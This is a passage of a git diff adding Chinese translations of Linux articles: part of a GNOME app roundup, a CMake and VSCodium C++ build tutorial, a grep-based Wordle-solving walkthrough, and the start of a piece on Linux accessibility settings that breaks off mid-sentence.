Blanket][24] + +更多信息: + + * [源代码][25] + * [主页][26] + +### Mousai - 发现音乐(像 Shazam 一样) + +我相信你已经听说过 [Shazam][27],这是一个用于智能手机和平板的流行的音乐识别应用程序。Mousai 是一个用于 GNOME 桌面的音乐识别应用。它可以聆听并同时识别歌曲的细节。这个应用程序使用你系统的麦克风或桌面的线路输出音频进行输入。 + +很干净整洁,对吧。下面是它的一些特点: + + * 易于使用的用户界面 —— 非常适合 GNOME 桌面 + * 在几秒钟内识别出歌曲 + * 将识别的歌曲储存在历史信息中,以便于参考 + * 从应用程序内浏览网络上的歌曲信息 + +![Mousai][28] + +在你点击安装之前,请记住这个应用程序的功能使用了流行的 [audd.io][29] 的 API。 + +为你的 Linux 发行版 [设置 Flatpak][15]。然后点击下面的链接,启动自带的软件管理器进行安装(如“软件Software”或“发现Discover”)。 + +- [通过 Flathub 安装 Mousai][30] + +更多信息: + + * [主页][31] + * [源代码][32] + +### Shortwave - 网络电台 + +如果你是一个广播听众,也是一个电台粉丝,那么下一个 GNOME 应用程序就是为你准备的。Shortwave 是一个互联网电台,与 GNOME 桌面无缝集成。它能够访问全球 25,000 个广播电台,其独特的功能有: + + * 浏览电台 + * 搜索电台 + * 查看最多投票的电台 + * 获取其他用户正在收听的电台 + * 创建你的广播电台库 + * 能够从 GNOME 直接向网络设备(如谷歌 Chromecast)播放节目 + +![Shortwave 应用][33] + +这款广播流媒体应用程序是当今完美的 GNOME 应用程序之一,具有这些令人印象深刻的功能。以下是安装和进入收听状态的方法。 + +为你的 Linux 发行版 [设置 Flatpak][15]。然后点击下面的链接,启动自带的软件管理器进行安装(如“软件Software”或“发现Discover”)。 + +- [通过 Flathub 安装 Shortwave][35] + +更多信息: + + * [主页][36] + * [源代码][37] + +### Health - 健康参数追踪器 + +想在 GNOME 桌面上直接掌握你的运动和相关活动的情况吗?那么这个应用程序可能就是你要找的。健康应用程序能够跟踪你的步数、体重、卡路里和活动,如游泳、跑步等。 + +这个应用程序给你一个漂亮的用户界面,显示你是否达到了总步数的每日目标,等等。 + +![Health 应用程序][38] + +以下是你如何安装这个应用程序。 + +为你的 Linux 发行版 [设置 Flatpak][15]。然后点击下面的链接,启动自带的软件管理器进行安装(如“软件Software”或“发现Discover”)。 + +- [通过 Flathub 安装 Health][39] + +更多信息: + + * [主页][40] + * [源代码][41] + +### Dialect - GNOME 的翻译应用 + +想找一个真正适用于 GNOME 的本地翻译应用吗?那么 Dialect 就是你正在寻找的应用程序。Dialect 是一个完美的 GNOME 原生应用程序,可以轻松地将任意文本从一种语言翻译成另一种语言。这个应用程序使用谷歌翻译的非正式 API,并给你完美的翻译。它还使用 LibreTranslate API,这是一个自由开源的机器翻译 API,可以在线使用。 + +Dialect 的其他独特功能包括文本到语音、保存你的翻译历史、自动语言检测和用户界面中的剪贴板按钮,这里仅举几例。 + +![Dialect][42] + +以下是你现在可以为你的 GNOME 桌面安装它的方法。 + +为你的 Linux 发行版 [设置 Flatpak][15]。然后点击下面的链接,启动自带的软件管理器进行安装(如“软件Software”或“发现Discover”)。 + +- [通过 Flathub 安装 Dialect][43] + +更多信息: + + * [主页][44] + * [源代码][45] + +### Video Trimmer - 更快地剪切你的视频 + +Video Trimmer 是一个完美的小工具,可以超快地切割你的视频。它只需要设置你的视频的开始和结束时间戳,就可以给你最终的文件。它将文件保存到你的目标目录,你也可以直接从应用程序本身打开文件位置。这个应用程序完美地集成了 GNOME UI,并为你提供了漂亮的修剪时间线和视频预览。 + +![Video Trimmer][46] + +以下是你现在可以为你的 GNOME 桌面安装它的方法。 + +为你的 Linux 发行版 [设置 Flatpak][15]。然后点击下面的链接,启动自带的软件管理器进行安装(如“软件Software”或“发现Discover”)。 + +- [通过 Flathub 安装 Video Trimmer][47]。 + +更多信息: + + * [源代码][48] + +### Console - 一个为初学者准备的新的最小的 GNOME 终端 + +这是一个相当新的应用程序,目前正在开发中。这是一个简单的终端程序,旨在为那些技术水平不高的用户提供服务。对于高级用户,GNOME 已经有一个叫做 [GNOME 终端][49] 的终端模拟器。 + +你可能会问为什么 GNOME 需要另一个终端,对吗?好吧,Console 是为终端新手设计的,它考虑到了以下使用情况: + + * 当一个命令完成时,发出一个漂亮的通知 + * 如果用户尝试使用 root 模式(使用 `sudo`、`su` 等),终端会变成红色 + * 当使用 `ssh` 时,终端会变成紫色。 + +这个应用程序仍在 GitLab 上开发。不幸的是,目前还没有安装程序可用。不过,你可以去编译。我试图用 meson 来编译它,但由于依赖关系而失败。 + +等我我能够编译它,我将在这里放一张截图。 + +同时,你可以在 [GitLab][50] 中关注这个项目。 + +### Crosswords for GNOME + +我相信你如果喜欢解字谜。那么这款针对 GNOME 的最终应用就非常适合你。GNOME 填字游戏是填字游戏播放器和编辑器。这个游戏带有填字游戏集,你可以开始解题。如果你被卡住了,该应用程序将帮助你揭示你在选词方面的错误。基本的正方形黑白字谜是可用的,但是由于其风格支持,你可以享受各种形状和颜色的字谜板。 + +![GNOME 填字游戏 - 图片 1][51] + +![GNOME 填字游戏 - 图片 2][52] + +这个应用程序的编辑部分目前还在开发中。但是你仍然可以通过安装一个演示的 Flatpak 来玩,所有这些都可以在下面的链接中找到。 + +为你的 Linux 发行版 [设置 Flatpak][15]。然后点击下面的链接,启动自带的软件管理器进行安装(如“软件Software”或“发现Discover”)。 + +- [通过私有仓库安装演示版填字游戏][53] + +在 [这里][54] 关注这个应用程序的开发。 + +### 总结 + +这就是本期的 GNOME 应用程序系列中最完美、最优秀的应用程序了。我希望你能为你的 GNOME 桌面发现一些很酷的 GTK 应用程序。确保开始为你的工作/目的使用它们。你对这篇文章中完美的 GNOME 应用程序有什么看法?请在下面的评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2021/12/best-gnome-apps-part-2/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2021/12/best-gnome-apps-part-1/ +[2]: https://www.debugpoint.com/2022/01/best-gnome-apps-part-3/ +[3]: https://www.debugpoint.com/2022/02/best-gnome-apps-part-4/ +[4]: tmp.gkcrhOlzXU#flatseal +[5]: tmp.gkcrhOlzXU#junction +[6]: tmp.gkcrhOlzXU#blanket +[7]: tmp.gkcrhOlzXU#mousai +[8]: tmp.gkcrhOlzXU#shortwave +[9]: tmp.gkcrhOlzXU#health +[10]: tmp.gkcrhOlzXU#dialect +[11]: tmp.gkcrhOlzXU#video-trimmer +[12]: tmp.gkcrhOlzXU#console +[13]: tmp.gkcrhOlzXU#crossword +[14]: https://www.debugpoint.com/wp-content/uploads/2021/12/Flatseal-Showing-list-of-apps-and-their-permissions.jpg +[15]: https://flatpak.org/setup/ +[16]: https://dl.flathub.org/repo/appstream/com.github.tchx84.Flatseal.flatpakref +[17]: https://github.com/tchx84/Flatseal +[18]: https://github.com/tchx84/Flatseal/blob/master/DOCUMENTATION.md +[19]: https://www.debugpoint.com/wp-content/uploads/2021/12/Junction-GNOME-App-showing-options-as-app-to-open-an-image.jpg +[20]: https://dl.flathub.org/repo/appstream/re.sonny.Junction.flatpakref +[21]: https://apps.gnome.org/app/re.sonny.Junction/ +[22]: https://github.com/sonnyp/Junction +[23]: https://www.debugpoint.com/wp-content/uploads/2021/12/Calm-your-mind-using-Blanket.jpg +[24]: https://dl.flathub.org/repo/appstream/com.rafaelmardojai.Blanket.flatpakref +[25]: https://github.com/rafaelmardojai/blanket +[26]: https://apps.gnome.org/app/com.rafaelmardojai.Blanket/ +[27]: https://www.shazam.com/home +[28]: https://www.debugpoint.com/wp-content/uploads/2021/12/Mousai.jpg +[29]: http://audd.io +[30]: https://dl.flathub.org/repo/appstream/io.github.seadve.Mousai.flatpakref +[31]: https://apps.gnome.org/app/io.github.seadve.Mousai/ +[32]: https://github.com/SeaDve/Mousai +[33]: https://www.debugpoint.com/wp-content/uploads/2021/12/Shortwave-App.jpg +[34]: https://www.debugpoint.com/2020/10/10-things-to-do-fedora-33-after-install/ +[35]: https://dl.flathub.org/repo/appstream/de.haeckerfelix.Shortwave.flatpakref +[36]: https://apps.gnome.org/app/de.haeckerfelix.Shortwave/ +[37]: https://gitlab.gnome.org/World/Shortwave +[38]: https://www.debugpoint.com/wp-content/uploads/2021/12/Health-App.jpg +[39]: https://dl.flathub.org/repo/appstream/dev.Cogitri.Health.flatpakref +[40]: https://apps.gnome.org/app/dev.Cogitri.Health/ +[41]: https://gitlab.gnome.org/World/Health +[42]: https://www.debugpoint.com/wp-content/uploads/2021/12/Dialect.jpg +[43]: https://dl.flathub.org/repo/appstream/com.github.gi_lom.dialect.flatpakref +[44]: https://apps.gnome.org/app/com.github.gi_lom.dialect/ +[45]: https://github.com/dialect-app/dialect/ +[46]: https://www.debugpoint.com/wp-content/uploads/2021/12/Video-Trimmer.jpg +[47]: https://dl.flathub.org/repo/appstream/org.gnome.gitlab.YaLTeR.VideoTrimmer.flatpakref +[48]: https://gitlab.gnome.org/YaLTeR/video-trimmer +[49]: https://help.gnome.org/users/gnome-terminal/stable/ +[50]: https://gitlab.gnome.org/GNOME/console +[51]: https://www.debugpoint.com/wp-content/uploads/2021/12/GNOME-Crosswords-Image-1-1024x569.jpg +[52]: https://www.debugpoint.com/wp-content/uploads/2021/12/GNOME-Crosswords-Image-2-1024x629.jpg +[53]: https://people.gnome.org/~jrb/org.gnome.Crosswords/crosswords.flatpak +[54]: https://gitlab.gnome.org/jrb/crosswords +[55]: https://t.me/debugpoint +[56]: https://twitter.com/DebugPoint +[57]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[58]: https://facebook.com/DebugPoint diff --git a/published/202202/20220112 Set up a build system with CMake and VSCodium.md b/published/202202/20220112 Set up a build system with CMake and VSCodium.md new file mode 100644 index 0000000000..762f7b55ec --- /dev/null +++ b/published/202202/20220112 Set up a build system with CMake and VSCodium.md @@ -0,0 +1,248 @@ +[#]: subject: "Set up a build system with CMake and VSCodium" +[#]: via: "https://opensource.com/article/22/1/devops-cmake" +[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" +[#]: collector: "lujun9972" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14249-1.html" + +使用 CMake 和 VSCodium 设置一个构建系统 +====== + +> 提供一个适当的 CMake 配置文件来使其他人可以更容易地构建、使用和贡献你的项目。 + +![](https://img.linux.net.cn/data/attachment/album/202202/07/111033gqa36hy5hzvhjxd0.jpg) + +这篇文章是使用开源 DevOps 工具进行 C/C++ 开发系列文章的一部分。如果你从一开始就把你的项目建立在一个功能强大的工具链上,你的开发会更快和更安全。除此之外,这会使别人更容易地参与你的项目。在这篇文章中,我将搭建一个基于 [CMake][2] 和 [VSCodium][3] 的 C/C++ 构建系统。像往常一样,相关的示例代码可以在 [GitHub][4] 上找到。 + +我已经测试了在本文中描述的步骤。这是一种适用于所有平台的解决方案。 + +### 为什么用 CMake ? + +[CMake][5] 是一个构建系统生成器,可以为你的项目创建 Makefile。乍一看简单的东西可能相当地复杂。在较高的层次上,你可以定义你的项目的各个部分(可执行文件、库)、编译选项(C/C++ 标准、优化、架构)、依赖关系项(头文件、库),和文件级的项目结构。CMake 使用的这些信息可以在文件 `CMakeLists.txt` 中获取,它使用一种特殊的描述性语言编写。当 CMake 处理这个文件时,它将自动地侦测在你的系统上已安装的编译器,并创建一个用于启动它的 Makefile 文件。 + +此外,在 `CMakeLists.txt` 中描述的配置,能够被很多编辑器读取,像 QtCreator、VSCodium/VSCode 或 Visual Studio 。 + +### 示例程序 + +我们的示例程序是一个简单的命令行工具:它接受一个整数来作为参数,输出一个从 1 到所提供输入值的范围内的随机排列的数字。 + +``` +$ ./Producer 10 +3 8 2 7 9 1 5 10 6 4 +``` + +在我们的可执行文件中的 `main()` 函数,我们只处理输入的参数,如果没有提供一个值(或者一个不能被处理的值)的话,就退出程序。 + +``` +int main(int argc, char** argv){ + + if (argc != 2) { + std::cerr << "Enter the number of elements as argument" << std::endl; + return -1; + } + + int range = 0; + + try{ + range = std::stoi(argv[1]); + }catch (const std::invalid_argument&){ + std::cerr << "Error: Cannot parse \"" << argv[1] << "\" "; + return -1; + } + + catch (const std::out_of_range&) { + std::cerr << "Error: " << argv[1] << " is out of range"; + return -1; + } + + if (range <= 0) { + std::cerr << "Error: Zero or negative number provided: " << argv[1]; + return -1; + } + + std::stringstream data; + std::cout << Generator::generate(data, range).rdbuf(); +} +``` +*producer.cpp* + +实际的工作是在 [生成器][6] 中完成的,它将被编译,并将作为一个静态库来链接到我们的`Producer` 可执行文件。 + +``` +std::stringstream &Generator::generate(std::stringstream &stream, const int range) { + std::vector data(range); + std::iota(data.begin(), data.end(), 1); + + std::random_device rd; + std::mt19937 g(rd()); + + std::shuffle(data.begin(), data.end(), g); + + for (const auto n : data) { + + stream << std::to_string(n) << " "; + } + + return stream; +} +``` + +*Generator.cpp* + +函数 `generate` 引用一个 [std::stringstream][7] 和一个整数来作为一个参数。根据整数 `range` 的值 `n`,制作一个在 `1` 到 `n` 的范围之中的整数向量,并随后打乱。接下来打乱的向量值转换成一个字符串,并推送到 `stringstream` 之中。该函数返回与作为参数传递相同的 `stringstream` 引用。 + +### 顶层的 CMakeLists.txt + +顶层的 [CMakeLists.txt][8] 的是我们项目的入口点。在子目录中可能有多个 `CMakeLists.txt` 文件(例如,与项目所相关联的库或其它可执行文件)。我们先一步一步地浏览顶层的 `CMakeLists.txt`。 + +第一行告诉我们处理文件所需要的 CMake 的版本、项目名称及其版本,以及预定的 C++ 标准。 + +``` +cmake_minimum_required(VERSION 3.14) + +project(CPP_Testing_Sample VERSION 1.0) + +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED True) +``` + +我们用下面一行告诉 CMake 去查看子目录 `Generator`。这个子目录包括构建 `Generator` 库的所有信息,并包含它自身的一个 `CMakeLists.txt` 。我们很快就会谈到这个问题。 + +``` +add_subdirectory(Generator) +``` + +现在,我们将涉及一个绝对特别的功能: [CMake 模块][9] 。加载模块可以扩展 CMake 功能。在我们的项目中,我们加载了 [FetchContent][10] 模块,这能使我们能够在 CMake 运行时下载外部的资源,在我们的示例中是 [GoogleTest][11] 。 + +``` +include(FetchContent) + +FetchContent_Declare( + googletest + URL https://github.com/google/googletest/archive/bb9216085fbbf193408653ced9e73c61e7766e80.zip +) +FetchContent_MakeAvailable(googletest) +``` + +在接下来的部分中,我们会做一些我们通常在普通的 Makefile 中会做的事: 指定要构建的二进制文件、它们相关的源文件、应该链接的库,以及编译器可以找到头文件的目录。 + +``` +add_executable(Producer Producer.cpp) + +target_link_libraries(Producer PUBLIC Generator) + +target_include_directories(Producer PUBLIC "${PROJECT_BINARY_DIR}") +``` + +通过下面的语句,我们使 CMake 来在构建文件夹中创建一个名称为 `compile_commands.json` 的文件。这个文件会展示项目的每个文件的编译器选项。在 VSCodium 中加载该文件,会告知 IntelliSense 功能在哪里查找头文件(查看 [文档][12])。 + +``` +set(CMAKE_EXPORT_COMPILE_COMMANDS ON) +``` + +最后的部分为我们的项目定义一些测试。项目使用先前加载的 GoogleTest 框架。单元测试的整个话题将会划归到另外一篇文章。 + +``` +enable_testing() + +add_executable(unit_test unit_test.cpp) + +target_link_libraries(unit_test gtest_main) + +include(GoogleTest) + +gtest_discover_tests(unit_test) +``` + +### 库层次的 CMakeLists.txt + +现在,我们来看看包含同名库的子目录 `Generator` 中的 [CMakeLists.txt][13] 文件。这个 `CMakeLists.txt` 文件的内容更简短一些,除了单元测试相关的命令外,它仅包含 2 条语句。 + +``` +add_library(Generator STATIC Generator.cpp Generator.h) +target_include_directories(Generator INTERFACE ${CMAKE_CURRENT_SOURCE_DIR}) +``` + +我们使用 `add_library(...)` 来定义一个新的构建目标:静态的 `Generator` 库。我们使用语句 `target_include_directories(...)` 来把当前子目录添加到其它构建目标的头文件的搜索路径之中。我们也具体指定这个属性的范围为类型 `INTERFACE`:这意味着该属性仅影响链接到这个库的构建目标,而不是库本身。 + +### 开始使用 VSCodium + +通过使用 `CMakeLists.txt` 文件中的信息,像 VSCodium 一样的 IDE 可以相应地配置构建系统。如果你还没有使用 VSCodium 或 VS Code 的经验,这个示例项目会是一个很好的起点。首先,转到它们的 [网站][3] ,然后针对你的系统下载最新的安装软件包。打开 VSCodium 并导航到 “扩展Extensions” 标签页。 + +为了正确地构建、调试和测试项目,搜索下面的扩展并安装它们: + +![Searching extensions][14] + +如果尚未完成,通过单击起始页的 “克隆 Git 存储库Clone Git Repository” 来克隆存储库。 + +![Clone Git repository][16] + +或者手动输入: + +``` +git clone https://github.com/hANSIc99/cpp_testing_sample.git +``` + +之后,通过输入如下内容来签出标签 `devops_1`: + +``` +git checkout tags/devops_1 +``` + +或者,通过单击 “main” 分支按钮(红色框),并从下拉菜单(黄色框)中选择标签。 + +![Select devops_1 tag][17] + +在你打开 VSCodium 内部中的存储库的根文件夹后,CMake Tools 扩展会侦测 `CMakeLists.txt` 文件并立即扫描你的系统寻找合适的编译器。你现在可以单击屏幕的底部的 “构建Build” 按钮(红色框)来开始构建过程。你也可以通过单击底部区域的按钮(黄色框)标记来更改编译器,它显示当前活动的编译器。 + +![Build compiler][18] + +要开始调试 `Producer` 可执行文件,单击调试器符号(黄色框)并从下拉菜单中选择 “调试Debug Producer”(绿色框)。 + +![Starting the debugger][19] + +如上所述,`Producer` 可执行文件要求将元素的数量作为一个命令行的参数。命令行参数可以在 `.vscode/launch.json` 中具体指定。 + +![Command-line arguments][20] + +好了,你现在能够构建和调试项目了。 + +### 结束语 + +归功于 CMake ,不管你正在运行哪种操作系统,上述步骤应该都能工作。特别是使用与 CMake 相关的扩展,VSCodium 变成了一个强大的 IDE 。我没有提及 VSCodium 的 Git 集成,是因为你已经能够在网络上查找很多的资源。我希望你可以看到:提供一个适当的 CMake 配置文件可以使其他人更容易地构建、使用和贡献于你的项目。在未来的文章中,我将介绍单元测试和 CMake 的测试实用程序 `ctest` 。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/devops-cmake + +作者:[Stephan Avenwedde][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-window-focus.png?itok=g0xPm2kD (young woman working on a laptop) +[2]: https://cmake.org/ +[3]: https://vscodium.com/ +[4]: https://github.com/hANSIc99/cpp_testing_sample +[5]: https://opensource.com/article/21/5/cmake +[6]: https://github.com/hANSIc99/cpp_testing_sample/blob/main/Generator/Generator.cpp +[7]: https://en.cppreference.com/w/cpp/io/basic_stringstream +[8]: https://github.com/hANSIc99/cpp_testing_sample/blob/main/CMakeLists.txt +[9]: https://cmake.org/cmake/help/latest/manual/cmake-modules.7.html +[10]: https://cmake.org/cmake/help/latest/module/FetchContent.html +[11]: https://github.com/google/googletest +[12]: https://code.visualstudio.com/docs/cpp/c-cpp-properties-schema-reference +[13]: https://github.com/hANSIc99/cpp_testing_sample/blob/main/Generator/CMakeLists.txt +[14]: https://opensource.com/sites/default/files/uploads/cpp_unit_test_vscodium_extensions.png (Searching extensions) +[15]: https://creativecommons.org/licenses/by-sa/4.0/ +[16]: https://opensource.com/sites/default/files/uploads/cpp_unit_test_vscodium_git_clone.png (Clone Git repository) +[17]: https://opensource.com/sites/default/files/uploads/cpp_unit_test_vscodium_select_tag.png (Select devops_1 tag) +[18]: https://opensource.com/sites/default/files/uploads/cpp_unit_test_vscodium_compiler_2.png (Build compiler) +[19]: https://opensource.com/sites/default/files/uploads/cpp_unit_test_vscodium_start_debugging.png (Starting the debugger) +[20]: https://opensource.com/sites/default/files/uploads/cpp_unit_test_vscodium_arguments.png (Command-line arguments) diff --git a/published/202202/20220116 Solve Wordle using the Linux command line.md b/published/202202/20220116 Solve Wordle using the Linux command line.md new file mode 100644 index 0000000000..4a06621b65 --- /dev/null +++ b/published/202202/20220116 Solve Wordle using the Linux command line.md @@ -0,0 +1,162 @@ +[#]: subject: "Solve Wordle using the Linux command line" +[#]: via: "https://opensource.com/article/22/1/word-game-linux-command-line" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14253-1.html" + +用 Linux 命令行解决 Wordle 问题 +====== + +> 使用 Linux 的 grep 和 fgrep 命令来赢得你最喜欢的基于单词的猜测游戏。 + +![Linux keys on the keyboard for a desktop computer][1] + +我最近有点迷恋上了一个在线单词猜谜游戏,在这个游戏中,你有六次机会来猜一个随机的五个字母的单词。这个词每天都在变化,而且你每天只能玩一次。每次猜测后,你猜测中的每个字母都会被高亮显示:灰色表示该字母没有出现在神秘单词中,黄色表示该字母出现在单词中,但不在那个位置,绿色表示该字母出现在单词中的那个正确位置。 + +下面是你如何使用 Linux 命令行来帮助你玩像 Wordle 这样的猜测游戏。我用这个方法来帮助我解决 1 月 6 日的谜题: + +### 第一次尝试 + +Linux 系统在 `/usr/share/dict/words` 文件中保存了一个单词词典。这是一个很长的纯文本文件。我的系统的单词文件里有超过 479,800 个条目。该文件既包含纯文本,也包含专有名词(名字、地点等等)。 + +为了开始我的第一次猜测,我只想得到一个长度正好是五个字母的纯文本词的列表。要做到这一点,我使用这个 `grep` 命令: + +``` +$ grep '^[a-z][a-z][a-z][a-z][a-z]$' /usr/share/dict/words > myguess +``` + +`grep` 命令使用正则表达式来进行搜索。你可以用正则表达式做很多事情,但为了帮助我解决 Wordle 问题,我只需要基本的东西。`^` 表示一行的开始,`$` 表示一行的结束。在两者之间,我指定了五个 `[a-z]` 的实例,表示从 a 到 z 的任何小写字母。 + +我还可以使用 `wc` 命令来查看我的可能单词列表,“只有” 15,000 个单词: + +``` +$ wc -l myguess +15034 myguess +``` + +从这个列表中,我随机挑选了一个五个字母的单词:`acres`。`a` 被设置为黄色,意味着该字母存在于神秘单词的某处,但不在第一位置。其他字母是灰色的,所以我知道它们并不存在于今天的单词中。 + +![acres word attempt][2] + +### 第二次尝试 + +对于我的下一个猜测,我想得到一个包含 `a` 的所有单词的列表,但不是在第一位置。我的列表也不应该包括字母 `c`、`r`、`e` 或 `s`。让我们把这个问题分解成几个步骤。 + +为了得到所有带 a 的单词的列表,我使用 `fgrep`(固定字符串 grep)命令。`fgrep` 命令也像 `grep` 一样搜索文本,但不使用正则表达式: + +``` +$ fgrep a myguess > myguess2 +``` + +这使我的下一个猜测的可能列表从 15,000 个字下降到 6,600 个字: + +``` +$ wc -l myguess myguess2 + 15034 myguess + 6634 myguess2 + 21668 total +``` + +但是这个单词列表中的第一个位置也有字母 `a`,这是我不想要的。游戏已经表明字母 `a` 存在于其他位置。我可以用 `grep` 修改我的命令,以寻找在第一个位置包含其他字母的词。这就把我可能的猜测缩小到了 5500 个单词: + +``` +$ fgrep a myguess | grep '^[b-z]' > myguess2 +$ wc -l myguess myguess2 + 15034 myguess + 5566 myguess2 + 20600 total +``` + +但我知道这个神秘的词也不包括字母 `c`、`r`、`e` 或 `s`。我可以使用另一个 `grep` 命令,在搜索中省略这些字母: + +``` +$ fgrep a myguess | grep '^[b-z]' | grep -v '[cres]' > myguess2 +$ wc -l myguess myguess2 +15034 myguess + 1257 myguess2 +16291 total +``` + +`-v` 选项意味着反转搜索,所以 `grep` 将只返回不符合正则表达式 `[cres]` 或单列字母 `c`、`r`、`e` 或 `s` 的行。有了这个额外的 `grep` 命令,我把下一个猜测的范围大大缩小到只有 1200 个可能的单词,这些单词在某处有一个 `a`,但不在第一位置,并且不包含 `c`、`r`、`e`、或 `s`。 + +在查看了这个列表后,我决定尝试一下 `balmy` 这个词。 + +![balmy word attempt][3] + +### 第三次尝试 + +这一次,字母 `b` 和 `a` 被高亮显示为绿色,意味着我把这些字母放在了正确的位置。字母 `l` 是黄色的,所以这个字母存在于单词的其他地方,但不是在那个位置。字母 `m` 和 `y` 是灰色的,所以我可以从我的下一个猜测中排除这些。 + +为了确定下一个可能的单词列表,我可以使用另一组 `grep` 命令。我知道这个词以 `ba` 开头,所以我可以从这里开始搜索: + +``` +$ grep '^ba' myguess2 > myguess3 +$ wc -l myguess3 +77 myguess3 +``` + +这只有 77 个词! 我可以进一步缩小范围,寻找除第三位外还包含字母 `l` 的词: + +``` +$ grep '^ba[^l]' myguess2 > myguess3 +$ wc -l myguess3 +61 myguess3 +``` + +方括号 `[^l]` 内的 `^` 表示不是这个字母列表,即不是字母 `l`。这使我的可能单词列表达到 61 个,并非所有的单词都包含字母 `l`,我可以用另一个 `grep` 搜索来消除这些单词: + +``` +$ grep '^ba[^l]' myguess2 | fgrep l > myguess3 +$ wc -l myguess3 +10 myguess3 +``` + +这些词中有些可能包含字母 `m` 和 `y`,而这些字母并不在今天的神秘词中。我可以再进行一次反转 `grep` 搜索,将它们从我的猜测列表中删除: + +``` +$ grep '^ba[^l]' myguess2 | fgrep l | grep -v '[my]' > myguess3 +$ wc -l myguess3 +7 myguess3 +``` + +我的可能的单词列表现在非常短,只有七个单词! + +``` +$ cat myguess3 +babul +bailo +bakal +bakli +banal +bauld +baulk +``` + +我选择 `banal` 作为我下一次猜测的可能的词,而这恰好是正确的。 + +![banal word attempt][4] + +### 正则表达式的力量 + +Linux 的命令行提供了强大的工具来帮助你完成实际工作。`grep` 和 `fgrep` 命令在扫描单词列表方面提供了极大的灵活性。对于一个基于单词的猜测游戏,`grep` 帮助识别了一个包含 15000 个可能的单词的列表。在猜测并知道哪些字母出现在神秘的单词中,哪些没有,`grep` 和 `fgrep` 帮助将选项缩小到 1200 个单词,然后只剩下 7 个单词。这就是命令行的力量。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/word-game-linux-command-line + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/linux_keyboard_desktop.png?itok=I2nGw78_ (Linux keys on the keyboard for a desktop computer) +[2]: https://opensource.com/sites/default/files/acres.png (acres word attempt) +[3]: https://opensource.com/sites/default/files/balmy.png (balmy word attempt) +[4]: https://opensource.com/sites/default/files/banal.png (banal word attempt) diff --git a/published/202202/20220123 How I use Linux accessibility settings.md b/published/202202/20220123 How I use Linux accessibility settings.md new file mode 100644 index 0000000000..ef5ed3b307 --- /dev/null +++ b/published/202202/20220123 How I use Linux accessibility settings.md @@ -0,0 +1,88 @@ +[#]: subject: "How I use Linux accessibility settings" +[#]: via: "https://opensource.com/article/22/1/linux-accessibility-settings" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14244-1.html" + +我如何使用 Linux 的无障碍设置 +====== + +> 不同的 Linux 系统以不同的方式处理辅助技术。 这里是一些对视觉、听觉、打字等有用的设置。 + +![](https://img.linux.net.cn/data/attachment/album/202202/05/140415a3ljitj3zbhulhqk.jpg) + +当我在 20 世纪 90 年代开始使用 Linux 时,我已经 40 多岁了,无障碍性accessibility不是我非常关注的问题。然而现在,当我快到 70 岁时,我的需求已经改变了。几年前,我从 System76 购买了一个全新的 Darter Pro,它的默认分辨率是 1920x1080,而且也是高 DPI。系统附带了 Pop!_OS,我发现我必须修改它才能看到显示屏上的图标和文字。谢天谢地,桌面上的 Linux 已经变得比 90 年代更容易使用了。 + +我需要辅助技术,特别是在视觉和听觉方面。还有一些我不使用的领域,但对需要帮助打字、指点、点击和手势的人来说是有用的。 + +不同的系统,如 Gnome、KDE、LXDE、XFCE 和其他系统,对这些辅助技术的处理方式不同。这些辅助性的调整大多可以通过 “设置Settings” 对话框或键盘快捷键来实现。 + +### 文字显示 + +我需要帮助来显示较大的文字,在我的 Linux Mint Cinnamon 桌面上,我使用这些设置: + +![accessibility options - visual][2] + +我还发现 Gnome “优化Tweaks” 可以让我对桌面体验的文字显示大小进行微调。我把我的显示器的分辨率从默认的 1920x1080 调整到更舒适的 1600x900。以下是我的布局设置: + +![accessibility options - display][3] + +### 键盘支持 + +我不需要键盘支持,但它们是现成支持的,如下图所示: + +![accessibility options - keyboard][4] + +### 更多无障碍选项 + +在 Fedora 35 上,无障碍访问也是熟悉的。打开 “设置Settings” 菜单,选择让 “总是显示无障碍菜单Always show Accessibility Menu” 图标在桌面上可见。我通常会切换 “大字体Large Text”,除非我在一个大显示器上。还有许多其他选项,包括 “缩放Zoom”、“屏幕阅读器Screen Reader” 和 “声音键Sound Keys”。这里有一些: + +![accessibility options - settings][5] + +当在 Fedora 的 “设置Settings” 菜单中启用了 “无障碍菜单Accessibility Menu”,就很容易从右上角的图标中切换其他功能: + +![accessibility options - desktop][6] + +有一些 Linux 发行版是专门为需要无障碍支持的人设计的。[Accessible Coconut][7] 就是这样一个发行版。Coconut 基于 Ubuntu Mate 20.04,并默认启用了屏幕阅读器。它装载了 Ubuntu Mate 的默认应用。Accessible Coconut 是 [Zendalona][8] 